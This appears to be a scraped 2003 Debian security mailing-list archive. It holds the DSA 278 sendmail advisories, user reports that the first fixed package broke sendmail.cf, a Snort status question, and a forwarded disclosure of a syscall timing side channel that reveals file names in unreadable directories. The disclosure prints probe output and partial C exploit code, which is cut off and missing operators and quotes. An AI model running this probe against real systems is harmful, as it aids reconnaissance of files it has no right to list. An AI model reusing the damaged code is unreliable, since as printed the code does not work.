[SECURITY] [DSA 278-1] New sendmail packages fix denial of service
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 278-1 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze April 4th, 2003 http://www.debian.org/security/faq - -- Package: sendmail Vulnerability : char-to-int conversion Problem-Type : local, maybe remote Debian-specific: no CVE Id : CAN-2003-0161 CERT Id: VU#897604 CA-2003-12 Michal Zalewski discovered a buffer overflow, triggered by a char to int conversion, in the address parsing code in sendmail, a widely used powerful, efficient, and scalable mail transport agent. This problem is potentially remotely exploitable. For the stable distribution (woody) this problem has been fixed in version 8.12.3-6.2. For the stable distribution (woody) this problem has been fixed in version 8.9.3-26. For the unstable distribution (sid) this problem has been fixed in version 8.12.9-1. We recommend that you upgrade your sendmail packages. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 2.2 alias potato - - Source archives: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26.dsc Size/MD5 checksum: 649 f11b024ef774130f7918b882a7318c78 http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26.diff.gz Size/MD5 checksum: 143360 2e9868662e4e28e548ed9f6da2982b41 http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3.orig.tar.gz Size/MD5 checksum: 1068290 efedacfbce84a71d1cfb0e617b84596e Alpha architecture: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_alpha.deb Size/MD5 checksum: 989736 a435c32c79785261bd0e7ec921718915 ARM architecture: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_arm.deb Size/MD5 checksum: 948306 1bdd277a28bd6a6c3c812053d11b1edd Intel IA-32 architecture: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_i386.deb Size/MD5 checksum: 931838 36c569e21502a246dbdfba711b54842e Motorola 680x0 architecture: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_m68k.deb Size/MD5 checksum: 917632 8ed928ac433a6be8d3144bb435bf1cfd PowerPC architecture: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_powerpc.deb Size/MD5 checksum: 933820 000557eff8d57fa2e479e8df52348f0b Sun Sparc architecture: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.9.3-26_sparc.deb Size/MD5 checksum: 945760 c2e0e3d1edb05a00d3e5b0d8ca1053c8 Debian GNU/Linux 3.0 alias woody - Source archives: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2.dsc Size/MD5 checksum: 761 9eae4393094b7b163ecdddcd16dad19e http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2.diff.gz Size/MD5 checksum: 253152 1fcbf7838b267d06a8c6258d3ff56488 http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3.orig.tar.gz Size/MD5 checksum: 1840401 b198b346b10b3b5afc8cb4e12c07ff4d Architecture independent components: http://security.debian.org/pool/updates/main/s/sendmail/sendmail-doc_8.12.3-6.2_all.deb Size/MD5 checksum: 747408 5d83e06ac78cb55eabb9334235ec82ab Alpha architecture: http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.2_alpha.deb Size/MD5 checksum: 267450 a8fd2edcabf581c8cef66fc1dcb5a8aa http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2_alpha.deb Size/MD5 checksum: 1218398 cf5503083ecacd7049171922e2fe15c7 ARM architecture: http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.2_arm.deb Size/MD5 checksum: 247160 2a01bee8674426bc1a3ef3c40a39e4a1 http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2_arm.deb Size/MD5 checksum: 1066282 2dc41903235f6a88de369807e633f8c9 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.2_i386.deb Size/MD5 checksum: 236942 fb790940bcdfcd6231db136c6d381cb5 http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.2_i386.deb
[SECURITY] [DSA 278-2] New sendmail packages fix DoS and arbitrary code execution
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 278-2 [EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze April 4th, 2003 http://www.debian.org/security/faq - -- Package: sendmail Vulnerability : char-to-int conversion Problem-Type : local, maybe remote Debian-specific: no CVE Id : CAN-2003-0161 CERT Id: VU#897604 CA-2003-12 This is a major brown paperbag update. The old packages for the stable distribution (woody) did not work as expected and you should only update to the neww packages mentioned in this advisory. The packages in the old stable distribution (potato) are working properly. I'm awfully sorry for the inconvenience. At the moment updated packages are only available for alpha, i386 and sparc. The original advisory was: Michal Zalewski discovered a buffer overflow, triggered by a char to int conversion, in the address parsing code in sendmail, a widely used powerful, efficient, and scalable mail transport agent. This problem is potentially remotely exploitable. For the stable distribution (woody) this problem has been fixed in version 8.12.3-6.3. We recommend that you upgrade your sendmail packages. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.0 alias woody - Source archives: http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3.dsc Size/MD5 checksum: 761 105b2619c72e95e90aec1f8dbe69fb6d http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3.diff.gz Size/MD5 checksum: 253206 95f7f532f1f94061803d0b5407c7bd7a http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3.orig.tar.gz Size/MD5 checksum: 1840401 b198b346b10b3b5afc8cb4e12c07ff4d Architecture independent components: http://security.debian.org/pool/updates/main/s/sendmail/sendmail-doc_8.12.3-6.3_all.deb Size/MD5 checksum: 747428 b3ade8ee7ac5de3f7e9a66eaf51654c0 Alpha architecture: http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.3_alpha.deb Size/MD5 checksum: 267498 9616df6f9a46472c1fd6e3d2a418d9f8 http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3_alpha.deb Size/MD5 checksum: 1218434 23579de1583d6fb9976e1b1c2f59fc00 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.3_i386.deb Size/MD5 checksum: 236984 2a1bef62b8cbf587529a798b1090429c http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3_i386.deb Size/MD5 checksum: 1003430 66deba993c135453e2e554faf4955615 Sun Sparc architecture: http://security.debian.org/pool/updates/main/s/sendmail/libmilter-dev_8.12.3-6.3_sparc.deb Size/MD5 checksum: 244974 0a2bbdfec93148f2fa796874012dfc2a http://security.debian.org/pool/updates/main/s/sendmail/sendmail_8.12.3-6.3_sparc.deb Size/MD5 checksum: 1069450 cbe517ba8fbd191dc5dffe1604da4454 These files will probably be moved into the stable distribution on its next revision. - - For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: [EMAIL PROTECTED] Package info: `apt-cache show pkg' and http://packages.debian.org/pkg -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+jZ1cW5ql+IAeqTIRAi6LAJ9P5zic6h3qnrC9cLgaohqhkLEVkACfVYBQ RSwaaq8JX/n9MjU12wVRVFM= =58hR -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
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RE: SANS Alert - Snort Vulnerability - stil Vulnerabile ?
On Tue, Mar 11, 2003 at 06:53:48PM +0900, Hideki Yamane wrote: This was added to the SANS Advisory on Sendmail last week. I have not seen any news nor postings related to Snort with Debian and was wondering about the status of Snort in stable at this time. snort vulnerability was posted in BTS. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=183719 # but, yes, DSA have not been released yet. Is Woody version stil Vulnerabile to this serious security bug ? -- Przemek -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Why PHP is parsing not only .php
Chris Francy [EMAIL PROTECTED] writes: You should probably be using the phps extension with the AddType application/x-httpd-php-source .phps instead of renameing them to have a .txt extension. That's exactly what I do, using a symlink. So my progs are available as progs and as source files. But you can symlink to a .txt file too, removing any other extensions. -- AMAZING BUT TRUE ... If all the salmon caught in Canada in one year were laid end to end across the Sahara Desert, the smell would be absolutely awful. -- François TOURDE - tourde.org - 23 rue Bernard GANTE - 93250 VILLEMOMBLE Tél: 01 49 35 96 69 - Mob: 06 81 01 81 80 eMail: mailto:[EMAIL PROTECTED] - URL: http://francois.tourde.org/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
updated sendmail package: config error
hello, I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. I've installed version 8.12.6-7 from testing, which runs fine. My system is a your basic woody system plus some packags from testing. To summerize: 8.12.3-5 worked 8.12.3-6.2. didn't work 8.12.6-7 works i'm I doing something wrong here? [ i'm not on the this list, please cc me ] [elektron /etc/mail] # /etc/init.d/sendmail start Starting Mail Transport Agent: sendmail554 5.0.0 /etc/mail/sendmail.cf: line 649: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 649: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 652: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 652: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 653: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 653: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 654: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 654: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 655: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 655: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 656: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 656: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 657: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 657: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 658: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 658: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 659: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 659: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 660: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 660: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 661: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 661: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 662: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 662: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 663: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 663: R line: null RHS [elektron /etc/mail] # 554 5.0.0 /etc/mail/sendmail.cf: line 666: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 666: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 669: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 669: R line: null RHS this goes on and on and on... had to kill it manually. This is were the trouble starts in the sendmail.cf: # handle null input (translate to @ special case) R$@ $@ @ # strip group: syntax (not inside angle brackets!) and trailing semicolon grtz Miek -- :wq! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: updated sendmail package: config error
[On 04 Apr, @16:44, debian-sec wrote in updated sendmail package: conf ...] hello, I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. I've installed version 8.12.6-7 from testing, which runs fine. My system is a your basic woody system plus some packags from testing. To summerize: 8.12.3-5 worked 8.12.3-6.2. didn't work 8.12.6-7 works i'm I doing something wrong here? ok, to reply to my own message. On another system here (all woody, no stuff from testing), the upgrade works ok. grtz Miek -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: updated sendmail package: config error
On Fri, Apr 04, 2003 at 05:01:07PM +0200, Miek Gieben wrote: I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. 8.12.3-6.2. didn't work Same here, with the same error-messages. Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: SANS Alert - Snort Vulnerability - stil Vulnerabile ?
Quoting Przemys?aw ?widerski [EMAIL PROTECTED]: On Tue, Mar 11, 2003 at 06:53:48PM +0900, Hideki Yamane wrote: This was added to the SANS Advisory on Sendmail last week. I have not seen any news nor postings related to Snort with Debian and was wondering about the status of Snort in stable at this time. snort vulnerability was posted in BTS. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=183719 # but, yes, DSA have not been released yet. Is Woody version stil Vulnerabile to this serious security bug ? The fixed version is 1.9.1. # apt-cache policy snort snort: Installed: (none) Candidate: 1.8.4beta1-3 Version Table: 1.9.1-4 0 500 ftp://ftp.us.debian.org unstable/main Packages 1.8.7-4 0 500 ftp://ftp.us.debian.org testing/main Packages 1.8.4beta1-3 0 1001 ftp://ftp.us.debian.org stable/main Packages -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: 8.12.3-6.2 (DSA 278-1): many reports R line: null LHS (and RHS) on install
[On 04 Apr, @18:01, Richard wrote in 8.12.3-6.2 (DSA 278-1): many r ...] Odd, I don't get these errors on the version I built and sent to the security team :( If I can be of assistance in tracking this down, please let me know 6.3 works perfectly, thanks, (What actually happened with 6.2? ) grtz Miek -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: updated sendmail package: config error
[On 04 Apr, @19:26, Steve wrote in Re: updated sendmail package: ...] I updated mine using apt-get and didn't run into a problem. Everything seems to be working correctly on my side. I couldn't connect to security.debian.org. So I downloaded the packages myself using ftp (which was still open) and installed them with dpkg. I think port 80 was closed on purpose. After security.debian.org came up again (port 80 that is), I also installed sendmail via apt-get and this installed the updated version, which works OK, grtz Miek -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: updated sendmail package: config error
I updated mine using apt-get and didn't run into a problem. Everything seems to be working correctly on my side. From: Markus Wennrich [EMAIL PROTECTED] To: Miek Gieben [EMAIL PROTECTED] CC: [EMAIL PROTECTED] Subject: Re: updated sendmail package: config error Date: Fri, 4 Apr 2003 17:36:56 +0200 MIME-Version: 1.0 Received: from murphy.debian.org ([65.125.64.134]) by mc3-f36.law16.hotmail.com with Microsoft SMTPSVC(5.0.2195.5600); Fri, 4 Apr 2003 08:42:56 -0800 Received: from localhost (localhost [127.0.0.1])by murphy.debian.org (Postfix) with QMQPid 271581FE4C; Fri, 4 Apr 2003 09:55:54 -0600 (CST) Received: from yori.schoko.org (yori.schoko.org [62.109.128.56])by murphy.debian.org (Postfix) with ESMTP id BE5421FE24for [EMAIL PROTECTED]; Fri, 4 Apr 2003 09:37:00 -0600 (CST) Received: from yori.schoko.org ([EMAIL PROTECTED] [127.0.0.1])by yori.schoko.org (8.12.9/8.12.9) with ESMTP id h34Fau16012525(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);Fri, 4 Apr 2003 17:36:56 +0200 (CEST)(envelope-from [EMAIL PROTECTED]) Received: (from [EMAIL PROTECTED])by yori.schoko.org (8.12.9/8.12.9/Submit) id h34FauX4012524;Fri, 4 Apr 2003 17:36:56 +0200 (CEST) X-Message-Info: JGTYoYF78jEHjJx36Oi8+Q1OJDRSDidP Old-Return-Path: [EMAIL PROTECTED] Message-ID: [EMAIL PROTECTED] References: [EMAIL PROTECTED] In-Reply-To: [EMAIL PROTECTED] User-Agent: Mutt/1.5.4i X-Spam-Status: No, hits=-3.0 required=4.0tests=IN_REP_TO,QUOTED_EMAIL_TEXT,REFERENCES,SPAM_PHRASE_00_01, USER_AGENT,USER_AGENT_MUTTversion=2.43 X-Spam-Level: Resent-Message-ID: [EMAIL PROTECTED] Resent-From: [EMAIL PROTECTED] X-Mailing-List: [EMAIL PROTECTED] archive/latest/11468 X-Loop: [EMAIL PROTECTED] List-Post: mailto:[EMAIL PROTECTED] List-Help: mailto:[EMAIL PROTECTED] List-Subscribe: mailto:[EMAIL PROTECTED] List-Unsubscribe: mailto:[EMAIL PROTECTED] Precedence: list Resent-Sender: [EMAIL PROTECTED] Resent-Date: Fri, 4 Apr 2003 09:55:54 -0600 (CST) Return-Path: [EMAIL PROTECTED] X-OriginalArrivalTime: 04 Apr 2003 16:42:57.0279 (UTC) FILETIME=[3F0A10F0:01C2FAC9] On Fri, Apr 04, 2003 at 05:01:07PM +0200, Miek Gieben wrote: I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. 8.12.3-6.2. didn't work Same here, with the same error-messages. Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] _ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: SANS Alert - Snort Vulnerability - stil Vulnerabile ?
snort vulnerability was posted in BTS.
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=183719
# but, yes, DSA have not been released yet.
Is Woody version stil Vulnerabile to this serious security bug ?
The fixed version is 1.9.1.
Yes, probably Przemek would know that, I think.
He said Woody version, so that question is about Woody's snort only.
You know, Woody is Stable release, so package is NOT upgraded.
BUT when DSA(Debian Security Advisary) would be announced, new fixed
package would come.
Woody's snort would be vulnerable version but there's a setting to
avoid exploit. (maybe, so that no DSA yet?)
# apt-cache policy snort
snort:
Installed: (none)
Candidate: 1.8.4beta1-3
Version Table:
1.9.1-4 0
500 ftp://ftp.us.debian.org unstable/main Packages
1.8.7-4 0
500 ftp://ftp.us.debian.org testing/main Packages
1.8.4beta1-3 0
1001 ftp://ftp.us.debian.org stable/main Packages
I don't know apt-cache policy package usage.
it seems useful :)
--
Hideki Yamane mailto:henrich @ iijmio-mail.jp, mb.kcom.ne.jp
henrich @ azumanga-daioh.org, ma-aya.{net, to}
--
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Fwd: Syscall implementation could lead to whether or not a file exists
Not that it is a huge vulnerability I am going to loose sleep over.
Just thought I'd throw it out here for discussion.
- Forwarded message from Andrew Griffiths [EMAIL PROTECTED] -
From: Andrew Griffiths [EMAIL PROTECTED]
Subject: Syscall implementation could lead to whether or not a file exists
To: [EMAIL PROTECTED], [EMAIL PROTECTED]
Date: Thu, 03 Apr 2003 05:19:47 +1000
X-Spam-Status: No, bogofilter
Delivery-date: Fri, 04 Apr 2003 11:52:07 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030312
X-Razor-Warning: NONE.
Product: Linux and various other kernels
Tested:
- RedHat kernel 2.4.18-26.7.x (second latest ;))
- RedHat kernel 2.4.18-27.7.x
- Debian 3.0 box
- FreeBSD 4.4
Description:
Due to the implementation of various system calls, it becomes
possible to test whether or not a file exists in a directory
that is unreadable.
Synopsis:
Filenames can be disclosed, which may be useful for other
attacks.
Problem:
By timing how long it takes for the system call to return, you
can pretty tell whether or not the file exists, because the
failure time is in my testing, three times shorter than if the
file exists.
To illistrate, here is an example of the attached program
running with the open() call. I would think other syscalls such
as stat(), mkdir(), chdir(), etc would disclose whether or not a
file exists.
[+] creating unreachable
[+] creating unreachable/iexist
[+] chmod 0'ing unreachable
[+] d-2 andrewg andrewg 4096 Mar 20 20:37 unreachable/
[+] Timing open() on unreachable/iexist
[+] Successful: 12 usecs, got Permission denied
[+] Timing open() on unreachable/non-existant
[+] Failure: 3 usecs, got Permission denied
[+] Using 3 as our cutoff.
[+] testing /root/.bashrc and /root/non-existant
[+] /root/.bashrc exists (4 usecs), got Permission denied
[+] /root/non-existant doesn't exist (2 usecs), got Permission denied
After a while of experimentation, I found that the following
formuala seems to be relatively decent at avoiding false
positivites, on my RH box.
cutoff = ((success_time + failure_time) / 3) - 2
This is somewhat dependant on the load on the box, and where the
file is located, though it appears.
On some OS's (notably freebsd in my testing) it will store the
results of into its cache (different to linux, in the sense that it throws
off the algo above.). Thus, if you just create a file and time
open()ing that, then compare it with a file that has
been recently opened, you don't get a fair comparsision.
Fix:
No known fix exists. Not exactly sure whether a fix is
appropiate, as the kernel is meant to be as fast as possible.
Exploit:
is attached.
Information is this email may be redistributed as long as the below
signature stays attached.
Thanks,
Andrew Griffiths
--
Attention: Public floggings will continue until morale improves.
MidWay_/#melb-wireless licks txrxafk while his defenses are down.
MidWay_ Oh boy. That could have been taken out of context.
#include stdlib.h
#include unistd.h
#include stdio.h
#include sys/types.h
#include fcntl.h
#ifndef O_NOFOLLOW
#define O_NOFOLLOW 040 /* don't follow links */
#endif
#ifndef O_LARGEFILE
#define O_LARGEFILE 010
#endif
int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;
/* taken from scuts format string example/brute_blind example */
unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
unsigned long int diff;
if (tv_a-tv_sec tv_b-tv_sec ||
(tv_a-tv_sec == tv_b-tv_sec tv_a-tv_sec
tv_b-tv_sec))
{
struct timeval *tvtmp;
tvtmp = tv_b;
tv_b = tv_a;
tv_a = tvtmp;
}
diff = (tv_a-tv_sec - tv_b-tv_sec) * 100;
if (tv_a-tv_sec == tv_b-tv_sec) {
diff += tv_a-tv_usec - tv_b-tv_usec;
} else {
if (tv_a-tv_usec = tv_b-tv_usec)
diff += tv_a-tv_usec - tv_b-tv_usec;
else
diff -= tv_b-tv_usec - tv_a-tv_usec;
}
return (diff);
}
void cleanup()
{
printf([+] cleaning up\n);
if(chmod(unreachable, 0700)==-1) {
printf(\t[-] Unable to revert unreachable back to being reachable\n);
exit(EXIT_FAILURE);
}
if(unlink(unreachable/iexist)==-1) {
printf(\t[-] Unable to remove unreachable/iexist\n);
exit(EXIT_FAILURE);
}
if(rmdir(unreachable)==-1) {
printf(\t[-] Unable to rmdir unreachable\n);
exit(EXIT_FAILURE);
}
}
int main(int argc, char **argv)
You can look and feel years younger.
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RE: SANS Alert - Snort Vulnerability - stil Vulnerabile ?
On Tue, Mar 11, 2003 at 06:53:48PM +0900, Hideki Yamane wrote: This was added to the SANS Advisory on Sendmail last week. I have not seen any news nor postings related to Snort with Debian and was wondering about the status of Snort in stable at this time. snort vulnerability was posted in BTS. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=183719 # but, yes, DSA have not been released yet. Is Woody version stil Vulnerabile to this serious security bug ? -- Przemek
Re: Why PHP is parsing not only .php
Chris Francy [EMAIL PROTECTED] writes: You should probably be using the phps extension with the AddType application/x-httpd-php-source .phps instead of renameing them to have a .txt extension. That's exactly what I do, using a symlink. So my progs are available as progs and as source files. But you can symlink to a .txt file too, removing any other extensions. -- AMAZING BUT TRUE ... If all the salmon caught in Canada in one year were laid end to end across the Sahara Desert, the smell would be absolutely awful. -- François TOURDE - tourde.org - 23 rue Bernard GANTE - 93250 VILLEMOMBLE Tél: 01 49 35 96 69 - Mob: 06 81 01 81 80 eMail: mailto:[EMAIL PROTECTED] - URL: http://francois.tourde.org/
updated sendmail package: config error
hello, I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. I've installed version 8.12.6-7 from testing, which runs fine. My system is a your basic woody system plus some packags from testing. To summerize: 8.12.3-5 worked 8.12.3-6.2. didn't work 8.12.6-7 works i'm I doing something wrong here? [ i'm not on the this list, please cc me ] [elektron /etc/mail] # /etc/init.d/sendmail start Starting Mail Transport Agent: sendmail554 5.0.0 /etc/mail/sendmail.cf: line 649: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 649: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 652: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 652: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 653: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 653: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 654: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 654: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 655: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 655: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 656: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 656: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 657: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 657: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 658: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 658: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 659: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 659: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 660: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 660: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 661: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 661: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 662: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 662: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 663: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 663: R line: null RHS [elektron /etc/mail] # 554 5.0.0 /etc/mail/sendmail.cf: line 666: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 666: R line: null RHS 554 5.0.0 /etc/mail/sendmail.cf: line 669: R line: null LHS 554 5.0.0 /etc/mail/sendmail.cf: line 669: R line: null RHS this goes on and on and on... had to kill it manually. This is were the trouble starts in the sendmail.cf: # handle null input (translate to @ special case) R$@ $@ @ # strip group: syntax (not inside angle brackets!) and trailing semicolon grtz Miek -- :wq!
Re: updated sendmail package: config error
[On 04 Apr, @16:44, debian-sec wrote in updated sendmail package: conf ...] hello, I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. I've installed version 8.12.6-7 from testing, which runs fine. My system is a your basic woody system plus some packags from testing. To summerize: 8.12.3-5 worked 8.12.3-6.2. didn't work 8.12.6-7 works i'm I doing something wrong here? ok, to reply to my own message. On another system here (all woody, no stuff from testing), the upgrade works ok. grtz Miek
Re: updated sendmail package: config error
On Fri, Apr 04, 2003 at 05:01:07PM +0200, Miek Gieben wrote: I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. 8.12.3-6.2. didn't work Same here, with the same error-messages. Markus
Re: SANS Alert - Snort Vulnerability - stil Vulnerabile ?
Quoting Przemys?aw ?widerski [EMAIL PROTECTED]: On Tue, Mar 11, 2003 at 06:53:48PM +0900, Hideki Yamane wrote: This was added to the SANS Advisory on Sendmail last week. I have not seen any news nor postings related to Snort with Debian and was wondering about the status of Snort in stable at this time. snort vulnerability was posted in BTS. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=183719 # but, yes, DSA have not been released yet. Is Woody version stil Vulnerabile to this serious security bug ? The fixed version is 1.9.1. # apt-cache policy snort snort: Installed: (none) Candidate: 1.8.4beta1-3 Version Table: 1.9.1-4 0 500 ftp://ftp.us.debian.org unstable/main Packages 1.8.7-4 0 500 ftp://ftp.us.debian.org testing/main Packages 1.8.4beta1-3 0 1001 ftp://ftp.us.debian.org stable/main Packages
Re: 8.12.3-6.2 (DSA 278-1): many reports R line: null LHS (and RHS) on install
[On 04 Apr, @18:01, Richard wrote in 8.12.3-6.2 (DSA 278-1): many r ...] Odd, I don't get these errors on the version I built and sent to the security team :( If I can be of assistance in tracking this down, please let me know 6.3 works perfectly, thanks, (What actually happened with 6.2? ) grtz Miek
Re: updated sendmail package: config error
I updated mine using apt-get and didn't run into a problem. Everything seems to be working correctly on my side. From: Markus Wennrich [EMAIL PROTECTED] To: Miek Gieben [EMAIL PROTECTED] CC: debian-security@lists.debian.org Subject: Re: updated sendmail package: config error Date: Fri, 4 Apr 2003 17:36:56 +0200 MIME-Version: 1.0 Received: from murphy.debian.org ([65.125.64.134]) by mc3-f36.law16.hotmail.com with Microsoft SMTPSVC(5.0.2195.5600); Fri, 4 Apr 2003 08:42:56 -0800 Received: from localhost (localhost [127.0.0.1])by murphy.debian.org (Postfix) with QMQPid 271581FE4C; Fri, 4 Apr 2003 09:55:54 -0600 (CST) Received: from yori.schoko.org (yori.schoko.org [62.109.128.56])by murphy.debian.org (Postfix) with ESMTP id BE5421FE24for debian-security@lists.debian.org; Fri, 4 Apr 2003 09:37:00 -0600 (CST) Received: from yori.schoko.org ([EMAIL PROTECTED] [127.0.0.1])by yori.schoko.org (8.12.9/8.12.9) with ESMTP id h34Fau16012525(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);Fri, 4 Apr 2003 